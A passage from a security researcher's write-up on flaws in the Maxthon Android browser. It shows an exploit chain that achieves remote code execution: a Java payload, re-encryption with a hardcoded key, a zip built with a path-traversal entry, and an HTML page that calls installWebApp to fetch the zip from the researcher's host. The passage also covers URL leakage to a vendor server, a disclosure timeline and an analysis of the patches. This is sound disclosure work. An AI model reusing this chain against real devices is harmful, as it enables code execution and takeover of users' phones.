            BufferedReader stdInput = new BufferedReader(new  InputStreamReader(process.getInputStream()));
            String s = null;
            while ((s = stdInput.readLine()) != null) {
                Log.wtf("MAX", s);
            }
        }
        catch(Exception e) { }
    }

}

Next we need to encrypt our APK file. We can actually just reuse the decryption program developed earlier to perform this operation given the properties of the homegrown encryption algorithm (dec(cipher_text, key) == plaintext / dec(plaintext, key) == cipher_text).

...

    public static void main(String[] args) throws Exception {
        String ciphertextFilename = "exploit/MaxJunkExploit.apk";
        String plaintextFilename = "exploit/tdata_rqS304";
        String keyString = "5f8286ee3424bed2b71f66d996b247b8";
         
        File ciphertextFile = new File(ciphertextFilename);
        File plaintextFile = new File(plaintextFilename);
        decryptFile(ciphertextFile, plaintextFile, keyString);
    }

...

Again, we use some Python code to build the zip file.

import zipfile
import sys

if __name__ == "__main__":
    try:
        with open("tdata_rqS304", "r") as f:
            binary = f.read()
            zipFile = zipfile.ZipFile("maxFileWriteToRce9313.zip", "a", zipfile.ZIP_DEFLATED)
            zipFile.writestr("../../../../../data/data/com.mx.browser/files/tdata_rqS304", binary)
            zipFile.close()
    except IOError as e:
        raise e

Then we craft the HTML page that calls the installWebApp method.

<html>
<body>
<script>
mmbrowser.installWebApp("http://d3adend.org/test/maxFileWriteToRce9313.zip");
</script>
</body>
</html>

At this point if the victim visits the malicious page using the Maxthon browser then their encrypted JAR file (tdata_rqS304) is overwritten with the one we crafted.

Our Java payload will be decrypted and executed the next time the browser starts up again. The code that performs the class loading will attempt to cast the object using the IPushExtension interface, which will fail, but our code in the constructor already executed and the class loading code handles this exception gracefully so the browser does not crash and works fine.

Privacy Concerns Update

I previously noted that based on static analysis it appeared that Exatel’s privacy concerns about the desktop version of the browser might also apply to the Android version of the browser. I later confirmed my suspicions that the Android version of the browser is leaking URLs visited to a third party server via dynamic analysis.

For example, after typing in d3adend.org into the address bar I observed the following HTTP request to g.dcs.maxthon.com.

GET /mx4/enc?keyid=default&data=Itx6HojCC7v71ZdJiyg%2BmxSDAq3PPgCfIbhBjC9BlG121acsTgxMshsPMRZBr0c22d0wKdjLhxmomukSeSiZ0pDsrl6wa9MS%2FZ3aL5JukKpnklpZaAhdJ4PpYoGz8m2cqRjVA05O%2FNCETWjFdyvasQnc0Eq2%2FaFXh2Y%2BLMDXoBmlyELjujCnxz5iuyjWxVrWM1K5y2WGNJbbdVQxajCzlnsDdn%2BLZXCa5%2BSNQybTMOgBpochUu36%2BGV%2BSx6Kb6uq3ser902V6Y9VnX2%2BxJlZeCyk%2BqGeXclxQ9%2Ff0iJ3iWY%3D HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008101315 Ubuntu/8.10 (intrepid) Firefox/3.0.3
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Encoding: gzip,deflate,sdch
Host: g.dcs.maxthon.com
Connection: close

I was able to decrypt the data contained in the query string using AES/ECB and the “eu3o4[r04cml4eir” hardcoded encryption key. Note that you must first URL decode and base64 decode the data prior to decryption.

$ java MaxPlainDecrypt Itx6HojCC7v71ZdJiyg%2BmxSDAq3PPgCfIbhBjC9BlG121acsTgxMshsPMRZBr0c22d0wKdjLhxmomukSeSiZ0pDsrl6wa9MS%2FZ3aL5JukKpnklpZaAhdJ4PpYoGz8m2cqRjVA05O%2FNCETWjFdyvasQnc0Eq2%2FaFXh2Y%2BLMDXoBmlyELjujCnxz5iuyjWxVrWM1K5y2WGNJbbdVQxajCzlnsDdn%2BLZXCa5%2BSNQybTMOgBpochUu36%2BGV%2BSx6Kb6uq3ser902V6Y9VnX2%2BxJlZeCyk%2BqGeXclxQ9%2Ff0iJ3iWY%3D
====================================
Plaintext: {"uid":"","dt":"content","d":"10ee359f28b6951d5c0fbaf7112d6f9b75f80000","data":{"url":"d3adend.org"},"n":"input","pt":"browserSearch","pm":"anphone","pn":"300020770100","l":"en","m":"url","version":"4.5.9.3000"}
====================================

Here is another example. This time I typed cnn.com into the address bar.

$ java MaxPlainDecrypt Itx6HojCC7v71ZdJiyg%2BmxSDAq3PPgCfIbhBjC9BlG121acsTgxMshsPMRZBr0c22d0wKdjLhxmomukSeSiZ0pDsrl6wa9MS%2FZ3aL5JukKpd8yxkdpF778vJ%2Fp6tRKdmf1elj2nQwNEV51jQSLF6AZHFoARj5CXa9U7n%2Fy70DOc01%2FoVptVbxAD5k%2F1iV9IRfe%2FH6%2FDNRBAOtydrMF5MjLeC02oO0FLgsC4jLURDvgKE8LLVQBPPTaEd2BPEvpZdtV8pMjtnM7ms10pXWMCn%2Bw%3D%3D
====================================
Plaintext: {"uid":"","dt":"content","d":"10ee359f28b6951d5c0fbaf7112d6f9b75f80000","data":{"url":"cnn.com"},"n":"input","pt":"browserSearch","pm":"anphone","pn":"300020770100","l":"en","m":"url","version":"4.5.9.3000"}
====================================

Disclosure

  • 2/12/16 - Disclosed arbitrary file write/RCE vulnerability to vendor.
  • 2/14/16 - Disclosed login page UXSS and SQL injection vulnerabilities to vendor.
  • 2/15/16 - Vendor responds and says all issues have been fixed. Provides a link to a local server that has the new APK.
  • 2/15/16 - Ask the vendor to send the patched APK directly or provide it on a public server.
  • 2/18/16 - Vendor provides public link to new APK.
  • 2/18/16 - Notify the vendor that the fixes do not address all the issues properly (only partially mitigated one issue).
  • 2/19/16 - Vendor states that they are looking into it.
  • 3/8/16 - Ask vendor for status.
  • 3/9/16 - Vendor states that all issues have been fixed, but does not provide a new APK to review.
  • 5/9/16 - Vendor releases a patch to Google Play (“bugs fixed”).
  • 5/30/16 - Notify the vendor that the fixes do not address all the issues properly (fixed two issues at this point).
  • 5/31/16 - Vendor states that my commentary is being reviewed (automated response). No response afterwards.
  • 7/6/16 - Ask vendor for status. No response.
  • 11/5/16 - Ask vendor for status one more time. No response.
  • 11/10/16 - Public disclosure.

At this point the vendor is no longer responsive to me and only some of the issues are fixed.

  • RCE on older devices (< 4.2) - Not fixed. Vendor marked this as “won’t fix.”
  • Arbitrary file write, which could result in RCE for any device - Not fixed.
  • Login Page UXSS - Appears fixed (some domain validation, but no output encoding).
  • SQL injection - Appears fixed (uses parameterized SQL statements).

One of the patches attempts to restrict which webpages can use the installWebApp method based on the domain name.

@JavascriptInterface public void installWebApp(String arg4) {
    URI v0 = URI.create(arg4);
    if((v0.getHost().endsWith("maxthon.com")) || (v0.getHost().endsWith("maxthon.cn"))) {
        String v0_1 = x.a(arg4);
        p.a(arg4, "/sdcard/webapp/" + v0_1, null);
        y.b("/sdcard/webapp/" + v0_1);
        d.b().a();
        Toast.makeText(this.mContext, "webapp installed", 1).show();
    }
}

There are multiple problems with the previous code that I have pointed out to the vendor multiple times.

  1. JavaScript served from thisisevilmaxthon.com (ends with “maxthon.com”) can still abuse the arbitrary file write vulnerability directly.
  2. The zip file can still be served over HTTP so a network adjacent attacker could force a zip file to be downloaded from maxthon.com over HTTP and then MiTM the traffic in order to abuse the arbitrary file write vulnerability indirectly.

Disclosure Update

  • 11/24/16 - Vendor responds that the arbitrary file write vulnerability will be addressed in the next release of the Maxthon browser and that the igexin library will be removed in the MX5 version.
  • 12/15/16 - Vendor releases patch (4.5.10.3000).

I took a brief look at the 4.5.10.3000 patch.

  • The installWebApp method has been removed, which should address the specific arbitrary file write vulnerability that I have described. Granted the JS interface attack surface is still pretty large for this application, but removing dangerous functionality is a step in the right direction.
  • The igexin library still exists in the Maxthon application. It appears that they have renamed the filenames of some of the encrypted JAR files, so it must be using a new version of the library designed to break my specific exploit *shrugs*. I have not reviewed the Maxthon5 (MX5) application so it might be addressed there (MX5 appears to be the new alpha/beta version of the browser).
  • The application still leaks URLs typed into the address bar.

Take aways

  • Remote SQL injection against mobile applications is a thing, but given the limitations of SQLite exfiltrating data can be problematic.
  • Mobile applications are still exposing interesting behavior over JavaScript interfaces, but we are going to have to spend more time reverse engineering target applications to figure out the security implications.
  • The use of obfuscation via the use of dynamic class loading can have unintended security implications.